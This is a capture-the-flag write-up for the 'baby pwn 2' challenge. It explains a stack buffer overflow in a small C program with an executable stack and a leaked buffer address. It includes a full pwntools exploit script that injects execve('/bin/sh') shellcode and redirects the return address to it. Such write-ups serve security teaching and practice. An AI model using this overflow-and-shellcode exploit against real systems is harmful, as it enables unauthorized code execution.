Here’s a baby pwn challenge for you to try out. Can you get the flag?
nc 34.162.142.123 5000
Author: atom
baby-pwn-2.zip
We’re provided the binary along with the source file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <string.h> void vulnerable_function () { char buffer[64 ]; printf ("Stack address leak: %p\n" , buffer); printf ("Enter some text: " ); fgets(buffer, 128 , stdin ); } int main () { setvbuf(stdout , NULL , _IONBF, 0 ); printf ("Welcome to the baby pwn 2 challenge!\n" ); vulnerable_function(); printf ("Goodbye!\n" ); return 0 ; }
checksec output:
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
NX is disabled –> implies shellcode is likely the solution.
We also have a simple buffer overflow of 128 bytes read into the 64 byte buffer. And we’re given a stack leak of the address of buffer.
Basically, we can just write shellcode into buffer, and then overwrite saved RIP with the address of buffer that was leaked by the program. Then, the program will jump to our shellcode instructions in buffer, and run whatever we want!
For the shellcode, we can create a pretty simple one to call system("/bin/sh\x00") (null-terminated because that’s how C interprets strings!).
Here’s the exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 p.recvuntil(b': ' ) buffer = int (p.recvline(), 16 ) offset = cyclic_find('jaaaaaaa' , n=8 ) payload = bytes (asm(''' mov rax, 0x68732f6e69622f push rax mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, SYS_execve syscall ''' ))payload = payload.ljust(offset, b'\x00' ) payload += p64(buffer) send(payload, b': ' )
And we get the flag!
uoftctf{sh3llc0d3_1s_pr3tty_c00l}
Full script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *import sysimport osdef get_leak (before: bytes , end: bytes =b'\n' ) -> int : p.recvuntil(before) return int (p.recvuntil(end).decode('ascii' )[:-1 ], 16 ) def send (payload: bytes , before: bytes =b'' , line: bool =True ) -> int : payload = payload + (b'\n' if line else b'' ) if before == b'' : p.send(payload) else : p.sendafter(before, payload) args = list (map (lambda s: s.upper(), sys.argv)) _libcs = list (filter (lambda s: 'libc.so.6' in s, os.listdir())) _lds = list (filter (lambda s: 'ld' == s[:2 ], os.listdir())) elf = ELF("baby-pwn-2" ) libc = _libcs[0 ] if len (_libcs) else elf.libc ld = _lds[0 ] if len (_lds) else None context.binary = elf context.log_level = "DEBUG" gdbscript = ''' # ''' if 'REMOTE' in args: p = remote('34.162.119.16' , 5000 ) else : p = process([elf.path]) gdb.attach(p, gdbscript=gdbscript) p.recvuntil(b': ' ) buffer = int (p.recvline(), 16 ) offset = cyclic_find('jaaaaaaa' , n=8 ) payload = bytes (asm(''' mov rax, 0x68732f6e69622f push rax mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, SYS_execve syscall ''' ))payload = payload.ljust(offset, b'\x00' ) payload += p64(buffer) send(payload, b': ' ) p.interactive() p.close()